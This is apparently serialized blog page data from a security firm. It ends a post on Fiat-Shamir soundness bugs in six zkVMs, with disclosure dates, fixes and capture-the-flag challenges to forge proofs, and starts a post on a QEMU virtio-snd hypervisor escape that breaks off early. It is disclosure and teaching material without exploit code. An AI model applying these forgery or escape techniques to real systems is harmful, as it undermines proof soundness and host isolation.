",{"type":23,"tag":56,"props":121371,"children":121373},{"className":121372},[2960,2961],[121374],{"type":23,"tag":504,"props":121375,"children":121377},{"className":121376},[2966],[121378],{"type":23,"tag":504,"props":121379,"children":121381},{"className":121380,"ariaHidden":2972},[2971],[121382],{"type":23,"tag":504,"props":121383,"children":121385},{"className":121384},[2977],[121386,121391],{"type":23,"tag":504,"props":121387,"children":121390},{"className":121388,"style":121389},[2982],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":121392,"children":121394},{"className":121393},[2988],[121395,121404],{"type":23,"tag":504,"props":121396,"children":121398},{"className":121397},[2988,28],[121399],{"type":23,"tag":504,"props":121400,"children":121402},{"className":121401},[2988],[121403],{"type":28,"value":60654},{"type":23,"tag":504,"props":121405,"children":121407},{"className":121406},[3005],[121408],{"type":23,"tag":504,"props":121409,"children":121411},{"className":121410},[3010],[121412],{"type":23,"tag":504,"props":121413,"children":121415},{"className":121414},[3015],[121416],{"type":23,"tag":504,"props":121417,"children":121420},{"className":121418,"style":121419},[3020],"height:0.8362em;",[121421],{"type":23,"tag":504,"props":121422,"children":121424},{"style":121423},"top:-3.1473em;margin-right:0.05em;",[121425,121429],{"type":23,"tag":504,"props":121426,"children":121428},{"className":121427,"style":3030},[3029],[],{"type":23,"tag":504,"props":121430,"children":121432},{"className":121431},[3035,3036,3037,3038],[121433],{"type":23,"tag":504,"props":121434,"children":121436},{"className":121435},[2988,3038],[121437],{"type":23,"tag":504,"props":121438,"children":121440},{"className":121439},[2988,3038],[121441],{"type":28,"value":121442},"′",{"type":28,"value":121444}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":24,"props":121446,"children":121447},{},[121448,121452,121454],{"type":23,"tag":296,"props":121449,"children":121450},{},[121451],{"type":28,"value":115508},{"type":28,"value":121453}," Fixed on December 29, 2025 via ",{"type":23,"tag":92,"props":121455,"children":121458},{"href":121456,"rel":121457},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[96],[121459],{"type":28,"value":121460},"commit 86a515f",{"type":23,"tag":17774,"props":121462,"children":121463},{},[],{"type":23,"tag":70,"props":121465,"children":121467},{"id":121466},"why-does-this-keep-happening",[121468],{"type":28,"value":121469},"Why Does This Keep Happening?",{"type":23,"tag":24,"props":121471,"children":121472},{},[121473],{"type":28,"value":121474},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":82,"props":121476,"children":121478},{"id":121477},"academic-papers-dont-specify-fiat-shamir",[121479],{"type":28,"value":121480},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":24,"props":121482,"children":121483},{},[121484,121486,121491,121493,121518,121520,121523,121525,121550,121552,121579],{"type":28,"value":121485},"Academic papers usually describe ",{"type":23,"tag":1887,"props":121487,"children":121488},{},[121489],{"type":28,"value":121490},"interactive",{"type":28,"value":121492}," protocols: \"Prover sends ",{"type":23,"tag":56,"props":121494,"children":121496},{"className":121495},[2960,2961],[121497],{"type":23,"tag":504,"props":121498,"children":121500},{"className":121499},[2966],[121501],{"type":23,"tag":504,"props":121502,"children":121504},{"className":121503,"ariaHidden":2972},[2971],[121505],{"type":23,"tag":504,"props":121506,"children":121508},{"className":121507},[2977],[121509,121513],{"type":23,"tag":504,"props":121510,"children":121512},{"className":121511,"style":20564},[2982],[],{"type":23,"tag":504,"props":121514,"children":121516},{"className":121515,"style":21101},[2988,20569],[121517],{"type":28,"value":115027},{"type":28,"value":121519},". Verifier sends",{"type":23,"tag":29951,"props":121521,"children":121522},{},[],{"type":28,"value":121524},"random ",{"type":23,"tag":56,"props":121526,"children":121528},{"className":121527},[2960,2961],[121529],{"type":23,"tag":504,"props":121530,"children":121532},{"className":121531},[2966],[121533],{"type":23,"tag":504,"props":121534,"children":121536},{"className":121535,"ariaHidden":2972},[2971],[121537],{"type":23,"tag":504,"props":121538,"children":121540},{"className":121539},[2977],[121541,121545],{"type":23,"tag":504,"props":121542,"children":121544},{"className":121543,"style":109639},[2982],[],{"type":23,"tag":504,"props":121546,"children":121548},{"className":121547,"style":91798},[2988,20569],[121549],{"type":28,"value":92617},{"type":28,"value":121551},". Prover sends ",{"type":23,"tag":56,"props":121553,"children":121555},{"className":121554},[2960,2961],[121556],{"type":23,"tag":504,"props":121557,"children":121559},{"className":121558},[2966],[121560],{"type":23,"tag":504,"props":121561,"children":121563},{"className":121562,"ariaHidden":2972},[2971],[121564],{"type":23,"tag":504,"props":121565,"children":121567},{"className":121566},[2977],[121568,121572],{"type":23,"tag":504,"props":121569,"children":121571},{"className":121570,"style":20564},[2982],[],{"type":23,"tag":504,"props":121573,"children":121576},{"className":121574,"style":121575},[2988,20569],"margin-right:0.00773em;",[121577],{"type":28,"value":121578},"R",{"type":28,"value":121580},".\"",{"type":23,"tag":24,"props":121582,"children":121583},{},[121584,121586,121611,121613,121638],{"type":28,"value":121585},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":56,"props":121587,"children":121589},{"className":121588},[2960,2961],[121590],{"type":23,"tag":504,"props":121591,"children":121593},{"className":121592},[2966],[121594],{"type":23,"tag":504,"props":121595,"children":121597},{"className":121596,"ariaHidden":2972},[2971],[121598],{"type":23,"tag":504,"props":121599,"children":121601},{"className":121600},[2977],[121602,121606],{"type":23,"tag":504,"props":121603,"children":121605},{"className":121604,"style":20564},[2982],[],{"type":23,"tag":504,"props":121607,"children":121609},{"className":121608,"style":21101},[2988,20569],[121610],{"type":28,"value":115027},{"type":28,"value":121612}," before sampling ",{"type":23,"tag":56,"props":121614,"children":121616},{"className":121615},[2960,2961],[121617],{"type":23,"tag":504,"props":121618,"children":121620},{"className":121619},[2966],[121621],{"type":23,"tag":504,"props":121622,"children":121624},{"className":121623,"ariaHidden":2972},[2971],[121625],{"type":23,"tag":504,"props":121626,"children":121628},{"className":121627},[2977],[121629,121633],{"type":23,"tag":504,"props":121630,"children":121632},{"className":121631,"style":109639},[2982],[],{"type":23,"tag":504,"props":121634,"children":121636},{"className":121635,"style":91798},[2988,20569],[121637],{"type":28,"value":92617},{"type":28,"value":121639},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":24,"props":121641,"children":121642},{},[121643],{"type":28,"value":121644},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":82,"props":121646,"children":121648},{"id":121647},"the-hot-potato-problem",[121649],{"type":28,"value":121650},"The Hot Potato Problem",{"type":23,"tag":24,"props":121652,"children":121653},{},[121654],{"type":28,"value":121655},"Modern zkVMs are modular:",{"type":23,"tag":24,"props":121657,"children":121658},{},[121659],{"type":23,"tag":126,"props":121660,"children":121663},{"alt":121661,"src":121662},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":24,"props":121665,"children":121666},{},[121667],{"type":28,"value":121668},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":82,"props":121670,"children":121672},{"id":121671},"optimization-pressure",[121673],{"type":28,"value":121674},"Optimization Pressure",{"type":23,"tag":24,"props":121676,"children":121677},{},[121678],{"type":28,"value":121679},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":24,"props":121681,"children":121682},{},[121683],{"type":28,"value":121684},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":82,"props":121686,"children":121688},{"id":121687},"testing-doesnt-catch-adversarial-inputs",[121689],{"type":28,"value":121690},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":24,"props":121692,"children":121693},{},[121694],{"type":28,"value":121695},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":17774,"props":121697,"children":121698},{},[],{"type":23,"tag":70,"props":121700,"children":121702},{"id":121701},"how-to-find-and-fix-these-bugs",[121703],{"type":28,"value":121704},"How to Find and Fix These Bugs",{"type":23,"tag":82,"props":121706,"children":121708},{"id":121707},"prevention",[121709],{"type":28,"value":121710},"Prevention",{"type":23,"tag":24,"props":121712,"children":121713},{},[121714],{"type":28,"value":121715},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":24,"props":121717,"children":121718},{},[121719],{"type":28,"value":121720},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":24,"props":121722,"children":121723},{},[121724],{"type":28,"value":121725},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":24,"props":121727,"children":121728},{},[121729],{"type":28,"value":121730},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":24,"props":121732,"children":121733},{},[121734],{"type":28,"value":121735},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":17774,"props":121737,"children":121738},{},[],{"type":23,"tag":70,"props":121740,"children":121742},{"id":121741},"responsible-disclosure-timeline",[121743],{"type":28,"value":121744},"Responsible Disclosure Timeline",{"type":23,"tag":54723,"props":121746,"children":121747},{},[121748,121776],{"type":23,"tag":121749,"props":121750,"children":121751},"thead",{},[121752],{"type":23,"tag":121753,"props":121754,"children":121755},"tr",{},[121756,121761,121766,121771],{"type":23,"tag":121757,"props":121758,"children":121759},"th",{},[121760],{"type":28,"value":22189},{"type":23,"tag":121757,"props":121762,"children":121763},{},[121764],{"type":28,"value":121765},"Reported",{"type":23,"tag":121757,"props":121767,"children":121768},{},[121769],{"type":28,"value":121770},"Fixed",{"type":23,"tag":121757,"props":121772,"children":121773},{},[121774],{"type":28,"value":121775},"Response Time",{"type":23,"tag":121777,"props":121778,"children":121779},"tbody",{},[121780,121803,121824,121844,121866,121887],{"type":23,"tag":121753,"props":121781,"children":121782},{},[121783,121788,121793,121798],{"type":23,"tag":121784,"props":121785,"children":121786},"td",{},[121787],{"type":28,"value":106611},{"type":23,"tag":121784,"props":121789,"children":121790},{},[121791],{"type":28,"value":121792},"Sep 2025",{"type":23,"tag":121784,"props":121794,"children":121795},{},[121796],{"type":28,"value":121797},"Oct 3, 2025",{"type":23,"tag":121784,"props":121799,"children":121800},{},[121801],{"type":28,"value":121802},"\u003C1 week",{"type":23,"tag":121753,"props":121804,"children":121805},{},[121806,121810,121815,121820],{"type":23,"tag":121784,"props":121807,"children":121808},{},[121809],{"type":28,"value":106617},{"type":23,"tag":121784,"props":121811,"children":121812},{},[121813],{"type":28,"value":121814},"Oct 2025",{"type":23,"tag":121784,"props":121816,"children":121817},{},[121818],{"type":28,"value":121819},"Oct 24, 2025",{"type":23,"tag":121784,"props":121821,"children":121822},{},[121823],{"type":28,"value":121802},{"type":23,"tag":121753,"props":121825,"children":121826},{},[121827,121831,121835,121840],{"type":23,"tag":121784,"props":121828,"children":121829},{},[121830],{"type":28,"value":106623},{"type":23,"tag":121784,"props":121832,"children":121833},{},[121834],{"type":28,"value":121814},{"type":23,"tag":121784,"props":121836,"children":121837},{},[121838],{"type":28,"value":121839},"Oct 31, 2025",{"type":23,"tag":121784,"props":121841,"children":121842},{},[121843],{"type":28,"value":121802},{"type":23,"tag":121753,"props":121845,"children":121846},{},[121847,121851,121856,121861],{"type":23,"tag":121784,"props":121848,"children":121849},{},[121850],{"type":28,"value":106629},{"type":23,"tag":121784,"props":121852,"children":121853},{},[121854],{"type":28,"value":121855},"Nov 2025",{"type":23,"tag":121784,"props":121857,"children":121858},{},[121859],{"type":28,"value":121860},"Mar 5, 2026",{"type":23,"tag":121784,"props":121862,"children":121863},{},[121864],{"type":28,"value":121865},"~4 months",{"type":23,"tag":121753,"props":121867,"children":121868},{},[121869,121873,121878,121883],{"type":23,"tag":121784,"props":121870,"children":121871},{},[121872],{"type":28,"value":106641},{"type":23,"tag":121784,"props":121874,"children":121875},{},[121876],{"type":28,"value":121877},"Dec 2025",{"type":23,"tag":121784,"props":121879,"children":121880},{},[121881],{"type":28,"value":121882},"Dec 29, 2025",{"type":23,"tag":121784,"props":121884,"children":121885},{},[121886],{"type":28,"value":121802},{"type":23,"tag":121753,"props":121888,"children":121889},{},[121890,121894,121898,121903],{"type":23,"tag":121784,"props":121891,"children":121892},{},[121893],{"type":28,"value":106635},{"type":23,"tag":121784,"props":121895,"children":121896},{},[121897],{"type":28,"value":121855},{"type":23,"tag":121784,"props":121899,"children":121900},{},[121901],{"type":28,"value":121902},"Jan 21, 2026?",{"type":23,"tag":121784,"props":121904,"children":121905},{},[121906],{"type":28,"value":121907},"3 months",{"type":23,"tag":24,"props":121909,"children":121910},{},[121911],{"type":28,"value":121912},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":17774,"props":121914,"children":121915},{},[],{"type":23,"tag":70,"props":121917,"children":121919},{"id":121918},"challenges",[121920],{"type":28,"value":106654},{"type":23,"tag":24,"props":121922,"children":121923},{},[121924,121926],{"type":28,"value":121925},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":121927,"props":121928,"children":121929},"del",{},[121930],{"type":28,"value":121931},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":24,"props":121933,"children":121934},{},[121935,121937,121990,121991,122247],{"type":28,"value":121936},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":56,"props":121938,"children":121940},{"className":121939},[2960,2961],[121941],{"type":23,"tag":504,"props":121942,"children":121944},{"className":121943},[2966],[121945],{"type":23,"tag":504,"props":121946,"children":121948},{"className":121947,"ariaHidden":2972},[2971],[121949],{"type":23,"tag":504,"props":121950,"children":121952},{"className":121951},[2977],[121953,121957,121962,121967,121971,121976,121981,121985],{"type":23,"tag":504,"props":121954,"children":121956},{"className":121955,"style":113853},[2982],[],{"type":23,"tag":504,"props":121958,"children":121960},{"className":121959},[2988,20569],[121961],{"type":28,"value":92},{"type":23,"tag":504,"props":121963,"children":121965},{"className":121964},[3101],[121966],{"type":28,"value":3104},{"type":23,"tag":504,"props":121968,"children":121970},{"className":121969,"style":3108},[3069],[],{"type":23,"tag":504,"props":121972,"children":121974},{"className":121973},[2988,20569],[121975],{"type":28,"value":2200},{"type":23,"tag":504,"props":121977,"children":121979},{"className":121978},[3101],[121980],{"type":28,"value":3104},{"type":23,"tag":504,"props":121982,"children":121984},{"className":121983,"style":3108},[3069],[],{"type":23,"tag":504,"props":121986,"children":121988},{"className":121987},[2988,20569],[121989],{"type":28,"value":2124},{"type":28,"value":108454},{"type":23,"tag":56,"props":121992,"children":121994},{"className":121993},[2960,2961],[121995],{"type":23,"tag":504,"props":121996,"children":121998},{"className":121997},[2966],[121999],{"type":23,"tag":504,"props":122000,"children":122002},{"className":122001,"ariaHidden":2972},[2971],[122003,122066,122128,122234],{"type":23,"tag":504,"props":122004,"children":122006},{"className":122005},[2977],[122007,122012,122053,122057,122062],{"type":23,"tag":504,"props":122008,"children":122011},{"className":122009,"style":122010},[2982],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":122013,"children":122015},{"className":122014},[2988],[122016,122021],{"type":23,"tag":504,"props":122017,"children":122019},{"className":122018},[2988,20569],[122020],{"type":28,"value":92},{"type":23,"tag":504,"props":122022,"children":122024},{"className":122023},[3005],[122025],{"type":23,"tag":504,"props":122026,"children":122028},{"className":122027},[3010],[122029],{"type":23,"tag":504,"props":122030,"children":122032},{"className":122031},[3015],[122033],{"type":23,"tag":504,"props":122034,"children":122036},{"className":122035,"style":2983},[3020],[122037],{"type":23,"tag":504,"props":122038,"children":122039},{"style":3024},[122040,122044],{"type":23,"tag":504,"props":122041,"children":122043},{"className":122042,"style":3030},[3029],[],{"type":23,"tag":504,"props":122045,"children":122047},{"className":122046},[3035,3036,3037,3038],[122048],{"type":23,"tag":504,"props":122049,"children":122051},{"className":122050},[2988,3038],[122052],{"type":28,"value":16275},{"type":23,"tag":504,"props":122054,"children":122056},{"className":122055,"style":3070},[3069],[],{"type":23,"tag":504,"props":122058,"children":122060},{"className":122059},[3075],[122061],{"type":28,"value":1642},{"type":23,"tag":504,"props":122063,"children":122065},{"className":122064,"style":3070},[3069],[],{"type":23,"tag":504,"props":122067,"children":122069},{"className":122068},[2977],[122070,122074,122115,122119,122124],{"type":23,"tag":504,"props":122071,"children":122073},{"className":122072,"style":2983},[2982],[],{"type":23,"tag":504,"props":122075,"children":122077},{"className":122076},[2988],[122078,122083],{"type":23,"tag":504,"props":122079,"children":122081},{"className":122080},[2988,20569],[122082],{"type":28,"value":2200},{"type":23,"tag":504,"props":122084,"children":122086},{"className":122085},[3005],[122087],{"type":23,"tag":504,"props":122088,"children":122090},{"className":122089},[3010],[122091],{"type":23,"tag":504,"props":122092,"children":122094},{"className":122093},[3015],[122095],{"type":23,"tag":504,"props":122096,"children":122098},{"className":122097,"style":2983},[3020],[122099],{"type":23,"tag":504,"props":122100,"children":122101},{"style":3024},[122102,122106],{"type":23,"tag":504,"props":122103,"children":122105},{"className":122104,"style":3030},[3029],[],{"type":23,"tag":504,"props":122107,"children":122109},{"className":122108},[3035,3036,3037,3038],[122110],{"type":23,"tag":504,"props":122111,"children":122113},{"className":122112},[2988,3038],[122114],{"type":28,"value":16275},{"type":23,"tag":504,"props":122116,"children":122118},{"className":122117,"style":3167},[3069],[],{"type":23,"tag":504,"props":122120,"children":122122},{"className":122121},[3172],[122123],{"type":28,"value":601},{"type":23,"tag":504,"props":122125,"children":122127},{"className":122126,"style":3167},[3069],[],{"type":23,"tag":504,"props":122129,"children":122131},{"className":122130},[2977],[122132,122137,122178,122183,122187,122192,122197,122201,122206,122211,122215,122220,122224,122230],{"type":23,"tag":504,"props":122133,"children":122136},{"className":122134,"style":122135},[2982],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":122138,"children":122140},{"className":122139},[2988],[122141,122146],{"type":23,"tag":504,"props":122142,"children":122144},{"className":122143},[2988,20569],[122145],{"type":28,"value":2124},{"type":23,"tag":504,"props":122147,"children":122149},{"className":122148},[3005],[122150],{"type":23,"tag":504,"props":122151,"children":122153},{"className":122152},[3010],[122154],{"type":23,"tag":504,"props":122155,"children":122157},{"className":122156},[3015],[122158],{"type":23,"tag":504,"props":122159,"children":122161},{"className":122160,"style":2983},[3020],[122162],{"type":23,"tag":504,"props":122163,"children":122164},{"style":3024},[122165,122169],{"type":23,"tag":504,"props":122166,"children":122168},{"className":122167,"style":3030},[3029],[],{"type":23,"tag":504,"props":122170,"children":122172},{"className":122171},[3035,3036,3037,3038],[122173],{"type":23,"tag":504,"props":122174,"children":122176},{"className":122175},[2988,3038],[122177],{"type":28,"value":16275},{"type":23,"tag":504,"props":122179,"children":122181},{"className":122180},[3101],[122182],{"type":28,"value":3104},{"type":23,"tag":504,"props":122184,"children":122186},{"className":122185,"style":3108},[3069],[],{"type":23,"tag":504,"props":122188,"children":122190},{"className":122189},[2988,20569],[122191],{"type":28,"value":92},{"type":23,"tag":504,"props":122193,"children":122195},{"className":122194},[3101],[122196],{"type":28,"value":3104},{"type":23,"tag":504,"props":122198,"children":122200},{"className":122199,"style":3108},[3069],[],{"type":23,"tag":504,"props":122202,"children":122204},{"className":122203},[2988,20569],[122205],{"type":28,"value":2200},{"type":23,"tag":504,"props":122207,"children":122209},{"className":122208},[3101],[122210],{"type":28,"value":3104},{"type":23,"tag":504,"props":122212,"children":122214},{"className":122213,"style":3108},[3069],[],{"type":23,"tag":504,"props":122216,"children":122218},{"className":122217},[2988,20569],[122219],{"type":28,"value":2124},{"type":23,"tag":504,"props":122221,"children":122223},{"className":122222,"style":3167},[3069],[],{"type":23,"tag":504,"props":122225,"children":122227},{"className":122226},[3172],[122228],{"type":28,"value":122229},"≥",{"type":23,"tag":504,"props":122231,"children":122233},{"className":122232,"style":3167},[3069],[],{"type":23,"tag":504,"props":122235,"children":122237},{"className":122236},[2977],[122238,122242],{"type":23,"tag":504,"props":122239,"children":122241},{"className":122240,"style":92829},[2982],[],{"type":23,"tag":504,"props":122243,"children":122245},{"className":122244},[2988],[122246],{"type":28,"value":2991},{"type":28,"value":122248},". Good luck!",{"type":23,"tag":82,"props":122250,"children":122252},{"id":122251},"jolt",[122253],{"type":28,"value":106611},{"type":23,"tag":24,"props":122255,"children":122256},{},[122257,122259,122270,122272],{"type":28,"value":122258},"See ",{"type":23,"tag":92,"props":122260,"children":122267},{"href":122261,"target":122262,"rel":122263,"download":122266},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[122264,122265],"noopener","noreferrer","handout_jolt.tar.gz",[122268],{"type":28,"value":122269},"the handout",{"type":28,"value":122271}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":56,"props":122273,"children":122275},{"className":122274},[],[122276],{"type":28,"value":122277},"jolt.chal.osec.io:8960",{"type":23,"tag":82,"props":122279,"children":122281},{"id":122280},"nexus-1",[122282],{"type":28,"value":106617},{"type":23,"tag":24,"props":122284,"children":122285},{},[122286,122287,122294,122295],{"type":28,"value":122258},{"type":23,"tag":92,"props":122288,"children":122292},{"href":122289,"target":122262,"rel":122290,"download":122291},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[122264,122265],"handout_nexus.tar.gz",[122293],{"type":28,"value":122269},{"type":28,"value":122271},{"type":23,"tag":56,"props":122296,"children":122298},{"className":122297},[],[122299],{"type":28,"value":122300},"nexus.chal.osec.io:8950",{"type":23,"tag":24,"props":122302,"children":122303},{},[122304],{"type":28,"value":122305},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":17774,"props":122307,"children":122308},{},[],{"type":23,"tag":70,"props":122310,"children":122312},{"id":122311},"takeaways",[122313],{"type":28,"value":122314},"Takeaways",{"type":23,"tag":24,"props":122316,"children":122317},{},[122318],{"type":28,"value":122319},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":24,"props":122321,"children":122322},{},[122323],{"type":28,"value":122324},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":24,"props":122326,"children":122327},{},[122328,122333],{"type":23,"tag":296,"props":122329,"children":122330},{},[122331],{"type":28,"value":122332},"For the ZK ecosystem:",{"type":28,"value":122334}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":24,"props":122336,"children":122337},{},[122338],{"type":28,"value":122339},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":24,"props":122341,"children":122342},{},[122343,122348],{"type":23,"tag":296,"props":122344,"children":122345},{},[122346],{"type":28,"value":122347},"For auditors:",{"type":28,"value":122349}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":24,"props":122351,"children":122352},{},[122353,122358],{"type":23,"tag":296,"props":122354,"children":122355},{},[122356],{"type":28,"value":122357},"For builders:",{"type":28,"value":122359}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":1815,"props":122361,"children":122362},{},[122363],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":122365},[122366,122367,122370,122376,122377,122385,122391,122394,122395,122399],{"id":106662,"depth":540,"text":106665},{"id":106804,"depth":540,"text":106807,"children":122368},[122369],{"id":106810,"depth":555,"text":106813},{"id":107239,"depth":540,"text":107242,"children":122371},[122372,122373,122374,122375],{"id":107250,"depth":555,"text":107253},{"id":107438,"depth":555,"text":107441},{"id":110819,"depth":555,"text":110822},{"id":112033,"depth":555,"text":112036},{"id":113670,"depth":540,"text":113673},{"id":114176,"depth":540,"text":114179,"children":122378},[122379,122380,122381,122382,122383,122384],{"id":114198,"depth":555,"text":114201},{"id":115523,"depth":555,"text":106617},{"id":116659,"depth":555,"text":116662},{"id":117327,"depth":555,"text":117330},{"id":119983,"depth":555,"text":119986},{"id":120537,"depth":555,"text":106641},{"id":121466,"depth":540,"text":121469,"children":122386},[122387,122388,122389,122390],{"id":121477,"depth":555,"text":121480},{"id":121647,"depth":555,"text":121650},{"id":121671,"depth":555,"text":121674},{"id":121687,"depth":555,"text":121690},{"id":121701,"depth":540,"text":121704,"children":122392},[122393],{"id":121707,"depth":555,"text":121710},{"id":121741,"depth":540,"text":121744},{"id":121918,"depth":540,"text":106654,"children":122396},[122397,122398],{"id":122251,"depth":555,"text":106611},{"id":122280,"depth":555,"text":106617},{"id":122311,"depth":540,"text":122314},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":122404,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":122405,"description":122406,"date":122407,"author":122408,"image":122409,"isFeatured":16,"onBlogPage":16,"tags":122411,"body":122414,"_type":1838,"_id":130700,"_source":1840,"_file":130701,"_stem":130702,"_extension":1843},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":122410,"width":96019,"height":12604},"/posts/virtio-snd-qemu-0day/title.png",[122412,122413],"qemu","heap-overflow",{"type":20,"children":122415,"toc":130682},[122416,122421,122426,122431,122437,122442,122447,122455,122461,122473,122477,122482,122490,122495,122501,122506,122519,123129,123164,123209,123243,123278,123413,123461,123467,123472,124228,124273,124309,124344,124409,124429,124879,124926,124929,124934,124999,125025,125047,125051,125056,125061,125067,125072,125077,125082,125088,125101,125107,125112,125120,125190,125195,125201,125214,125440,125503,125522,125905,125910,125943,125948,126224,126236,126254,126533,126545,126548,126583,126588,126594,126606,126618,126623,126628,126638,126673,127290,127322,127333,127369,127382,127388,127400,127408,127434,127439,127472,127513,127519,127538,127576,127584,127633,127638,127687,127692,127700,127787,127793,127832,127844,127852,127870,127889,127897,127909,127917,127936,127944,127955,127963,127974,127982,127995,128003,128009,128014,128027,128035,128053,128061,128073,128078,128086,128122,128155,128162,128196,128204,128209,128215,128227,128238,128517,128577,128645,128653,128687,129291,129302,129310,129316,129321,129332,130086,130119,130131,130217,130237,130446,130493,130505,130511,130530,130556,130584,130600,130627,130630,130650,130664,130668,130673,130678],{"type":23,"tag":24,"props":122417,"children":122418},{},[122419],{"type":28,"value":122420},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":70,"props":122422,"children":122423},{"id":122412},[122424],{"type":28,"value":122425},"QEMU",{"type":23,"tag":24,"props":122427,"children":122428},{},[122429],{"type":28,"value":122430},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":82,"props":122432,"children":122434},{"id":122433},"virtio-devices",[122435],{"type":28,"value":122436},"Virtio Devices",{"type":23,"tag":24,"props":122438,"children":122439},{},[122440],{"type":28,"value":122441},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":24,"props":122443,"children":122444},{},[122445],{"type":28,"value":122446},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":24,"props":122448,"children":122449},{},[122450],{"type":23,"tag":126,"props":122451,"children":122454},{"alt":122452,"src":122453},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":70,"props":122456,"children":122458},{"id":122457},"finding-a-bug",[122459],{"type":28,"value":122460},"Finding a Bug",{"type":23,"tag":24,"props":122462,"children":122463},{},[122464,122466,122472],{"type":28,"value":122465},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":56,"props":122467,"children":122469},{"className":122468},[],[122470],{"type":28,"value":122471},"virtio-snd",{"type":28,"value":320},{"type":23,"tag":82,"props":122474,"children":122475},{"id":122471},[122476],{"type":28,"value":122471},{"type":23,"tag":24,"props":122478,"children":122479},{},[122480],{"type":28,"value":122481},"From the official documentation:",{"type":23,"tag":1909,"props":122483,"children":122484},{},[122485],{"type":23,"tag":24,"props":122486,"children":122487},{},[122488],{"type":28,"value":122489},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host 